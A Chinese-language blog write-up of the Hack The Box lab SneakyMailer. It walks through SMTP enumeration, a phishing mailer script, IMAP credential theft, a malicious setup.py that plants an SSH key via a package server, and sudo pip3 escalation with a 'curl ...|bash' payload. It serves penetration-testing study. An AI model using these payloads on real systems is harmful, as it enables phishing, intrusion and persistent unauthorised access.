抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

SneakyMailer是自己在htb上完成的第30台靶机。因为特殊纪念意义加上涉及到一些很有意思的知识所以记录下。整体难度比较简单。

由于SneakyMailer还是active状态,所以我会给文章上锁直到靶机退役。
ps:已退役

  • 靶机ip: 10.10.10.197
  • 攻击机: 10.10.14.87

initial foothold

首先上nmap

# Nmap 7.80 scan initiated Mon Jul 13 10:04:34 2020 as: nmap -sC -sV -oA nmap/sneakymailer 10.10.10.197
Nmap scan report for 10.10.10.197
Host is up (0.41s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: ENABLE THREAD=ORDEREDSUBJECT UTF8=ACCEPTA0001 OK QUOTA SORT CHILDREN STARTTLS IMAP4rev1 THREAD=REFERENCES ACL2=UNION NAMESPACE ACL IDLE CAPABILITY completed UIDPLUS
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 13 10:05:43 2020 -- 1 IP address (1 host up) scanned in 68.86 seconds

nmap得到结果有多个端口开放,其中不太常规的是25,143,993等端口。正如结果所示,这些端口都与邮件有关。其中25是smtp端口。143,993是imap的默认两个端口。其中一个是明文一个是ssl加密。

21ftp端口不能匿名登录。那我们先从80端口开始。开始一个跳转。所以我们需要把sneakycorp.htb加入到/etc/hosts中。web页面结果只有index.php与team.php存在。而team.php源码中存在几十个email.均是xxx@sneakymailer.htb形式。
果断先把mail收集起来。并且user跟mail各存一份

import requests
import re


url='http://sneakycorp.htb/team.php'
r=requests.get(url)
mail=re.findall(r'<td>(.*)@sneakymailer.htb',r.text)
f=open('user.txt','w')
for i in mail:
    #f.write(i+'\n')
    f.write(i+'@sneakymailer.htb'+'\n')
f.close()

然后源码中提示了一个pypi/register.php。访问后似乎可以提供注册功能。但是根据简单的几个demo感觉还是个静态文件。因为假如再次输入密码跟原密码不一致它也没有进行任何报错。那么我有理由怀疑整个网站都静态的。

既然如此只能从几个邮件服务器入手enum了。这里我先去了解了下smtp,imap的相关信息以及常见漏洞。简单概括如下:

  • smtp主要用于发送邮件。imap主要用于接收邮件
  • smtp/imap server 均可使用 telnet,nc进行连接
  • smtp可以在不登录的情况下进行username的枚举。imap必须登录才能进行接下来的查看邮件信息等操作

并且两种服务基本上不存在可以直接利用的漏洞。看来是要进行信息枚举了。
首先从25端口开始。前面提到了。针对smtp的enum主要就只有用户名的enum.我们无法进行进一步的利用。
这篇文章讲的非常全面。我也基本上先按照这个流程来。比如首先进行手动测试VRFY root。得到252.说明root用户是在机器上的。不过经过前面nmap的探测,似乎能使用的smtp命令非常局限。看来我们只能从VRFY下手了。

这里使用msf的模块进行enum,具体方法参考上面文章。其实之前使用了smtp-user-enum。但似乎存在问题,没有得到我想要的结果。换了msf的模块就好了。

msf5 auxiliary(scanner/smtp/smtp_enum) > exploit

[*] 10.10.10.197:25       - 10.10.10.197:25 Banner: 220 debian ESMTP Postfix (Debian/GNU)
[+] 10.10.10.197:25       - 10.10.10.197:25 Users found: airisatou@sneakymailer.htb, angelicaramos@sneakymailer.htb, ashtoncox@sneakymailer.htb, bradleygreer@sneakymailer.htb, brendenwagner@sneakymailer.htb, briellewilliamson@sneakymailer.htb, brunonash@sneakymailer.htb, caesarvance@sneakymailer.htb, carastevens@sneakymailer.htb, cedrickelly@sneakymailer.htb, chardemarshall@sneakymailer.htb, colleenhurst@sneakymailer.htb, dairios@sneakymailer.htb, donnasnider@sneakymailer.htb, doriswilder@sneakymailer.htb, finncamacho@sneakymailer.htb, fionagreen@sneakymailer.htb, garrettwinters@sneakymailer.htb, gavincortez@sneakymailer.htb, gavinjoyce@sneakymailer.htb, glorialittle@sneakymailer.htb, haleykennedy@sneakymailer.htb, hermionebutler@sneakymailer.htb, herrodchandler@sneakymailer.htb, hopefuentes@sneakymailer.htb, howardhatfield@sneakymailer.htb, jacksonbradshaw@sneakymailer.htb, jenagaines@sneakymailer.htb, jenettecaldwell@sneakymailer.htb, jenniferacosta@sneakymailer.htb, jenniferchang@sneakymailer.htb, jonasalexander@sneakymailer.htb, laelgreer@sneakymailer.htb, martenamccray@sneakymailer.htb, michaelsilva@sneakymailer.htb, michellehouse@sneakymailer.htb, olivialiang@sneakymailer.htb, paulbyrd@sneakymailer.htb, prescottbartlett@sneakymailer.htb, quinnflynn@sneakymailer.htb, rhonadavidson@sneakymailer.htb, sakurayamamoto@sneakymailer.htb, sergebaldwin@sneakymailer.htb, shaddecker@sneakymailer.htb, shouitou@sneakymailer.htb, sonyafrost@sneakymailer.htb, sukiburks@sneakymailer.htb, sulcud@sneakymailer.htb, tatyanafitzpatrick@sneakymailer.htb, thorwalton@sneakymailer.htb, tigernixon@sneakymailer.htb, timothymooney@sneakymailer.htb, unitybutler@sneakymailer.htb, vivianharrell@sneakymailer.htb, yuriberry@sneakymailer.htb, zenaidafrank@sneakymailer.htb, zoritaserrano@sneakymailer.htb
[*] 10.10.10.197:25       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

看起来我们得到的邮箱都是有效的……到这一步就很难进一步进行发展了。因为smtp的利用最多到枚举用户名。imap与ftp又需要用户密码。8080端口跑着一个似乎裸的nginx.顿时少了思路

去论坛逛了一圈。发现大家提到了钓鱼的说法。难不成是要发送邮件?简单搜索了下发现python支持我们调用smtp服务器进行email的发送。那就按照菜鸟教程的脚本改改

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import smtplib
from email.mime.text import MIMEText
from email.header import Header

sender = 'byc@bycsec.top'
with open('mail.txt','r') as f:
    receivers = f.read().splitlines()

message = MIMEText('http://10.10.14.87', 'plain', 'utf-8')
message['From'] = Header("byc", 'utf-8')
message['To'] =  Header("aaa", 'utf-8')     

subject = 'Sth Really Helpful'
message['Subject'] = Header(subject, 'utf-8')

try:
    smtpObj = smtplib.SMTP('10.10.10.197',25)
    smtpObj.sendmail(sender, receivers, message.as_string())
    print("[*] success")
except smtplib.SMTPException:
    print("[*] Error")

这里主要是更改smtplib.SMTP('10.10.10.197',25)。这样我们就能使用htb的smtp服务器进行发送邮件。同时receivers这个参数是支持python列表的。所以直接传入我们之前收集的所有email.最后内容直接给我们自己ip.看看会不会有点击劫持的信息发过来。

发现有post信息。那么再跑遍脚本,直接切换成nc接收

看起来paul用户的账号密码到手了。(经典钓鱼场景)
接下来因为这是邮箱用户,我们用imap账户成功登录
关于imap的命令执行
看了这篇文章应该就会操作了。简单的说就是在每个命令前都要加个字母做前缀。然后执行LOGIN,SELECT等操作
第一步先查看namespace。然后发现我们的Personal Namespace有INBOX.存在。所以继续列 INBOX.下的文件夹。这样我们就可以选定一个文件夹了

root@byc404:~# telnet 10.10.10.197 143
Trying 10.10.10.197...
Connected to 10.10.10.197.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc.  See COPYING for distribution information.
a login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
a OK LOGIN Ok.
n namespace
* NAMESPACE (("INBOX." ".")) NIL (("#shared." ".")("shared." "."))
n OK NAMESPACE completed.
A1 list "INBOX." "*"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
A1 OK LIST completed

经过尝试发现只有INBOX.Sent Items里有2 EXISTS.

g21 SELECT "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
g21 OK [READ-WRITE] Ok

那么我们依次查看邮件主题与内容

f fetch 1:2 (BODY[HEADER.FIELDS (Subject)])
* 1 FETCH (BODY[HEADER.FIELDS ("Subject")] {27}
Subject: Password reset

)
* 2 FETCH (BODY[HEADER.FIELDS ("Subject")] {27}
Subject: Module testing

)
f OK FETCH completed.
F1 fetch 1 RFC822
* 1 FETCH (RFC822 {2167}
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
        boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"

Hello administrator, I want to change this password for the developer accou=
nt

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it=20

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" xmlns:w=3D"urn:sc=
hemas-microsoft-com:office:word" xmlns:m=3D"http://schemas.microsoft.com/of=
fice/2004/12/omml" xmlns=3D"http://www.w3.org/TR/REC-html40"><head><meta ht=
tp-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8"><meta name=
=3DGenerator content=3D"Microsoft Word 15 (filtered medium)"><style><!--
/* Font Definitions */
@font-face
        {font-family:"Cambria Math";
        panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
        {font-family:Calibri;
        panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
        {margin:0in;
        margin-bottom:.0001pt;
        font-size:11.0pt;
        font-family:"Calibri",sans-serif;}
.MsoChpDefault
        {mso-style-type:export-only;}
@page WordSection1
        {size:8.5in 11.0in;
        margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
        {page:WordSection1;}
--></style></head><body lang=3DEN-US link=3Dblue vlink=3D"#954F72"><div cla=
ss=3DWordSection1><p class=3DMsoNormal>Hello administrator, I want to chang=
e this password for the developer account</p><p class=3DMsoNormal><o:p>&nbs=
p;</o:p></p><p class=3DMsoNormal>Username: developer</p><p class=3DMsoNorma=
l>Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C</p><p class=3DMsoNorm=
al><o:p>&nbsp;</o:p></p><p class=3DMsoNormal>Please notify me when you do i=
t </p></div></body></html>=

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_--
)
F1 OK FETCH completed.
F1 fetch 2 RFC822
* 2 FETCH (RFC822 {585}
To: low@debian
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Module testing
Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
 Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US

Hello low


Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

)
F1 OK FETCH completed.

第一份邮件泄露了一份用户密码developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C.第二个邮件泄露了一个用户。看起来可以继续进行账户密码的尝试了。

果不其然还是没有得到ssh的账户。但是developer可以登陆ftp。看了下发现里面是个dev文件夹。内容跟我们80端口的网页一致。
先把dev文件夹拖下来。

wget ftp://10.10.10.197:21/* --ftp-user=developer  --ftp-password=m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C  -r

仔细一审发现都是静态文件。这点有点懵。不过文件夹名字倒是提醒了我一个疏忽的地方。那就是我忘记收集子域名了。于是wfuzz走起收集子域名。发现确实存在dev.sneakycorp.htb

既然我们的ftp目录是对应的web目录。那就直接mput上传webshell即可。命令执行getshell.

小结下。这一部分总体上只有enum的内容。不过整体上收获挺大的。因为以前没怎么接触过smtp.现在借此机会接触smtp,imap熟悉了相对应的命令倒是挺不错的。

privesc to user

接下来是提权部分。这里我重点关注pypi跟low.因为这两个用户在前阶段出现的频率比较高。

首先很容易发现/var/www有四个文件夹dev.sneakymailer.htb,pypi.sneakymailer.htb,sneakymailer.htb跟html.其中dev跟html内容一致我们不用管。这里pypi.sneakymailer.htb倒是个挺难爆出来的子域名。那么先加到hosts里去。发现对应的原来就是之前的8080端口的服务。网页内容是个pypiserver 1.3.2.然后有两个内容都要密码。

看起来web页面没啥用。直接去pypi文件夹下找内容。发现一个.htpasswd

pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

查看hash-examples发现是apache apr hash.hashcat破解之。

hashcat -m 1600  -a 0 --force  -o pass.txt hash.txt /usr/share/wordlists/rockyou.txt

得到
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
现在我们倒是能用这组账户登录8080的pypiserver。但是似乎还是没啥用。看来我们得去了解下pypiserver 作用
https://pypi.org/project/pypiserver/#table-of-contents
这里面 Uploading Packages Remotely 这个功能比较吸引眼球。假如我们能上传恶意package。应该就能执行命令了。
跑个linpeas.sh.看看

pypi       691  0.1  0.6  36800 25764 ?        Ss   04:06   0:01 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages
low       1098  0.1  0.5  29952 20976 ?        Ss   04:07   0:00 /home/low/venv/bin/python /opt/scripts/low/install-modules.py

看起来low用户的确在执行python modules的下载。那么接下来我们看看如何构建一个恶意的setup.py。
网上找个demo.准备一个写公钥的payload。

import setuptools

try:
    with open("/home/low/.ssh/authorized_keys", "a") as f:
        f.write("""ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD1J7hVPxdMEhfE1XL2OOPjgQvKZGm68ldluK8TTW70AVRKxwvfUzOCJA4vPFgrzeJ5E27UTYatqxtxIDagHHjMtmkt+FFk62Xe8qO4pDlzQEjrSiXA/Ex82KHqlnDReaRHEEcc4CmtvzBVavB4o34CeTUYEG2N7OC1RbVUZkX9ULjodiaasubHG4lo5M2wYZ+1RjPxl/wupsEmPzB/SoSUgCAMra/tsd1jxhsJ0+m45puGKgv5Zb4IeWMATdd+Ea6v7J70YUns1E7Ciutn83jRw4efId4ZNJDGCA0GYKqaYLKsj/gA+evl/6asj8TQBgD516xFp2bpdGWuzy0sef2c22E6xS9Vs/uUpwC5T8hMlvjxtFIJE57dQz6JrJdwqQk1Jf3WQUoU6NfcRTampYVdrTHAatLccghgAS8ldA0vxO7hTzSDocO6iTfDqPrfRQfk7F0/geEP7KgoWKAJvBz1RQpmTvvhWa6lbESafIjzPPfN0e2I17CPSir/ek5fZh0= root@byc404""")
        f.close()
except Exception as e:
    pass
setuptools.setup(
    name="byc_404", 
    version="0.0.1",
    author="byc",
    author_email="byc@bycsec.top",
    description="A small example package",
    long_description="",
    long_description_content_type="",
    url="https://github.com/pypa/sampleproject",
    packages=setuptools.find_packages(),
    classifiers=[
    "Programming Language :: Python :: 3",
    "License :: OSI Approved :: MIT License",
    "Operating System :: OS Independent",
    ],
)

然后是~/.pypirc文件。使用它有以下两个优势

  1. It removes the need to enter a username/password when pushing to PyPI. 2. It simplifies command line usage when pushing packages to a non-default package repository (i.e. anywhere other than pypi.org).

这样我们就不用重复输入用户密码。同时保证内容推向sneakycorp.htb所在的pypi仓库。
按照官网设定修改下

[distutils]
index-servers = local

[local]
repository: http://pypi.sneakycorp.htb:8080/
username: pypi
password: soufianeelhaoui

chmod 600 .pypirc 然后再执行以下命令来upload package。

python setup.py sdist register -r local upload -r local

虽然会提示这种操作方法已经deprecated了。但是不影响完成命令。
当然这样使用是因为靶机没安装twine.不过基于pypiserver是暴露在公网的。我们直接本地使用twine也可以。

python3 setup.py sdist bdist_wheel

python3 -m twine upload –repository local dist/*

写入公钥即可ssh登录

收下user.txt.

这一部分pypiserver的使用挺有意思的。不过我这里试了不写公钥直接命令执行倒是没有用,感觉有点问题(也许是因为靶机动不动重启吧,毕竟刚出的靶机总是容易卡)

privesc to root

这一部分倒是过于简单了。由于前面搜索资料时搜到了pip的privesc.所以执行sudo -l发现可以pip3后就简单了
https://www.hackingarticles.in/linux-for-pentester-pip-privilege-escalation/

TF=$(mktemp -d)
echo "import os;os.system('curl 10.10.14.87|bash')" > $TF/setup.py
sudo pip3 install $TF


rooted.

summary

整体上来说root之前的部分都算是新知识。邮件的部分挺有意思的。感觉非常接近真实实战。假如真的有用户安全意识不强点击了我们的链接就可以打开另一片天地了。
后面python的部分可能有点技穷了。不过确实算是python用于提权的常见手段。恶意包或者恶意py源码都可以导致提权发生。

评论